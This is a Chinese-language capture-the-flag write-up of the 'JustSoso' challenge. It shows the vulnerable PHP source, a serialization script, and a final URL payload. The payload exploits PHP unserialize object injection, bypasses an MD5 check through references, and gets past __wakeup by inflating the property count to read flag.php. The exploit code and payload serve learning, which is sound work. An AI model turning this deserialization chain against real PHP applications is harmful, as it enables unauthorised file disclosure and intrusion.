当时想了大半天,想着到底要怎么绕过MD5呢,结果还是没做出来,即使问了学长,自己还是漏了一个步骤,file=hint.php,特此笔记,又学到了个引用变量的知识

学习自 https://www.ctfwp.com/articals/2019national.html

查看源码

可以知道是php包含的问题,呢么用filter://协议读取下源码(当时保存在编辑器上的源码)

index.php
<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  $url = parse_url($_SERVER['REQUEST_URI']);parse_str($url['query'],$query);foreach($query as $value){if (preg_match("/flag/",$value)) { die('stop hacking!');exit();}}$payload = unserialize($payload);
}else{ echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>hint.php
<?php
class Handle{ private $handle;  public function __wakeup(){foreach(get_object_vars($this) as $k => $v) {$this->$k = null;}echo "Waking up\n";}public function __construct($handle) { $this->handle = $handle; } public function __destruct(){$this->handle->getFlag();}
}class Flag{public $file;public $token;public $token_flag;function __construct($file){$this->file = $file;$this->token_flag = $this->token = md5(rand(1,10000));}public function getFlag(){$this->token_flag = md5(rand(1,10000));if($this->token === $this->token_flag){if(isset($this->file)){echo @highlight_file($this->file,true); }  }}
}
?>

这里看到应该是PHP序列化的题目,呢么看一下源码,Handle类有构造函数和析构函数,而析构函数中调用到了Flag类中getFlag()方法。呢么我们可以在new Handle中再new Flag,(呢么就会调用Flag的构造函数)=======这句话是错的,不会调用构造函数,构造函数时在new类时才会调用,我们的目的只是令一个属性赋值为一个类,呢在反序列化时侯,会自动调用析构函数,通过析构函数,就会调用Flag类,从而才能调用getFlag函数- 。-,之前对序列化的理解有误,所以总以为在反序列化时侯调用了构造函数,其实是错误的。构造函数的目的是为了在new的时候调用并且把类给一个属性。========         并且调用Flag中的getFlag()函数,但是我没想到什么方法能绕过md5完全相等,看了WP后,发现利用引用变量的思想(https://blog.csdn.net/qq_33156633/article/details/79936487)。

简单的意思就是当引用变量时,两个变量指向的是同一地址,$b=&$a的话,就是$b也指向$a的区域,随着$a的变化而变化;

但是再类中,不用加&,类相当就是引用传递.

呢么回到本题目,如果在Flag中的构造函数中加入$this->token = &$this->token_flag的话,不管怎么赋值,他们两个指向的都是同一区域,所以值相等。因此就可以绕过md5了。呢么解题源码如下:

//hint.php

<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
$this->token = &$this->token_flag;
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}

$a = new Flag("flag.php");
$b= new Handle($a);
echo serialize($b);
?>

输出:O:6:"Handle":1:{s:14:"Handlehandle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"91bc333f6967019ac47b49ca0f2fa757";s:10:"token_flag";R:4;}}

提交的时候还要绕过parse_url  (http://www.am0s.com/functions/406.html)和_wakeup魔术方法,成员数目比原先的成员数目大就行

payload:               ///?file=hint.php&payload=O:6:"Handle":2:{s:14:"Handlehandle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"91bc333f6967019ac47b49ca0f2fa757";s:10:"token_flag";R:4;}}

(记得file=hint.php,当时就是忘记了,因为需要包含hint.php,使其执行php文件才行,这是正常的解题思维,然后大佬就是大佬,RCE+条件竞争都能整出来,厉害。最上面的WP收集网站里有讲解)

转载于:https://www.cnblogs.com/BOHB-yunying/p/10755095.html

JustSoso笔记相关推荐

  1. 【读书笔记】知易行难,多实践

    前言: 其实,我不喜欢看书,只是喜欢找答案,想通过专业的解答来解决我生活的困惑.所以,我听了很多书,也看了很多书,但看完书,没有很多的实践,导致我并不很深入在很多时候. 分享读书笔记: <高效1 ...

  2. 【运维学习笔记】生命不息,搞事开始。。。

    001生命不息,搞事不止!!! 这段时间和hexesdesu搞了很多事情! 之前是机械硬盘和固态硬盘的测速,我就在那默默的看着他一个硬盘一个机械测来测去. 坐在他后面,每天都能看到这位萌萌的小男孩,各 ...

  3. SSAN 关系抽取 论文笔记

    20210621 https://zhuanlan.zhihu.com/p/353183322 [KG笔记]八.文档级(Document Level)关系抽取任务 共指id嵌入一样 但是实体嵌入的时候 ...

  4. pandas以前笔记

    # -*- coding: utf-8 -*- """ Created on Sat Jul 21 20:06:20 2018@author: heimi "& ...

  5. PyTorch 学习笔记(六):PyTorch hook 和关于 PyTorch backward 过程的理解 call

    您的位置 首页 PyTorch 学习笔记系列 PyTorch 学习笔记(六):PyTorch hook 和关于 PyTorch backward 过程的理解 发布: 2017年8月4日 7,195阅读 ...

  6. 容器云原生DevOps学习笔记——第三期:从零搭建CI/CD系统标准化交付流程

    暑期实习期间,所在的技术中台-效能研发团队规划设计并结合公司开源协同实现符合DevOps理念的研发工具平台,实现研发过程自动化.标准化: 实习期间对DevOps的理解一直懵懵懂懂,最近观看了阿里专家带 ...

  7. 容器云原生DevOps学习笔记——第二期:如何快速高质量的应用容器化迁移

    暑期实习期间,所在的技术中台-效能研发团队规划设计并结合公司开源协同实现符合DevOps理念的研发工具平台,实现研发过程自动化.标准化: 实习期间对DevOps的理解一直懵懵懂懂,最近观看了阿里专家带 ...

  8. 王道考研 计算机网络笔记 第六章:应用层

    本文基于2019 王道考研 计算机网络: 2019 王道考研 计算机网络 个人笔记总结 第一章:王道考研 计算机网络笔记 第一章:概述&计算机网络体系结构 第二章:王道考研 计算机网络笔记 第 ...

  9. 王道考研 计算机网络笔记 第五章:传输层

    本文基于2019 王道考研 计算机网络: 2019 王道考研 计算机网络 个人笔记总结 第一章:王道考研 计算机网络笔记 第一章:概述&计算机网络体系结构 第二章:王道考研 计算机网络笔记 第 ...

最新文章

  1. 摊牌了!国内首个基于结构光投影三维重建系列视频课程
  2. Handler消息机制(九):IntentService源码解析
  3. CSDN专访云信阙杭宁:以16年技术积累打造稳定IM云服务
  4. css img 适配尺寸_如何解决img标签下面的小空隙(附详细视频教程)
  5. python3-numpy np.nditer 迭代数组、np.nditer修改数组、np.nditer广播迭代
  6. vue+webpack 安装常见插件
  7. Spark Streaming中流式计算的困境与解决之道
  8. cpython知乎_Numpy为什么可以用C语言写?
  9. 阿里云服务器用Docker配置运行nginx并访问
  10. filter过滤器(转载)
  11. Arcgis Licensemanager 不能启动的原因之一(转载)
  12. php excel数据导出
  13. 计算机电工电子怎么学,计算机在电子电工课中的应用
  14. 台电幻彩(t4jn)系列u盘量产修复工具
  15. AHP(层次分析法)学习笔记及多层权重Python实践
  16. #10015. 「一本通 1.2 练习 2」扩散
  17. 云计算效果如何,Mixpanel现身说法
  18. 关于内部排序的小总结
  19. pythongui做计算器_Python——GUI编程 利息计算器 作业9(python programming)
  20. 06-手机登录token生成容联云短信验证用户认证和网关整合(网关做统一权限认证)

热门文章

  1. 计算机主板电池拆卸,台式机主板电池怎么拆
  2. python实现账号密码登录
  3. 第三届厦门国际银行数创金融杯金融营销建模大赛-BaseLine
  4. 2021-02-05仅供自己参考:多态使用
  5. Maven进阶(高级部分)
  6. Android多线程断点续传下载原理及实现,移动开发工程师简历
  7. codeforces 1090B切题记录
  8. 苹果手机投屏软件_小技巧!苹果手机怎么投屏到笔记本?
  9. 抖音最疯狂的辞职代码,你下载了吗?
  10. 第七章(五)—主动信息收集—端口扫描(基于TCP全连接扫描、隐蔽扫描、僵尸扫描、UDP的端口扫描)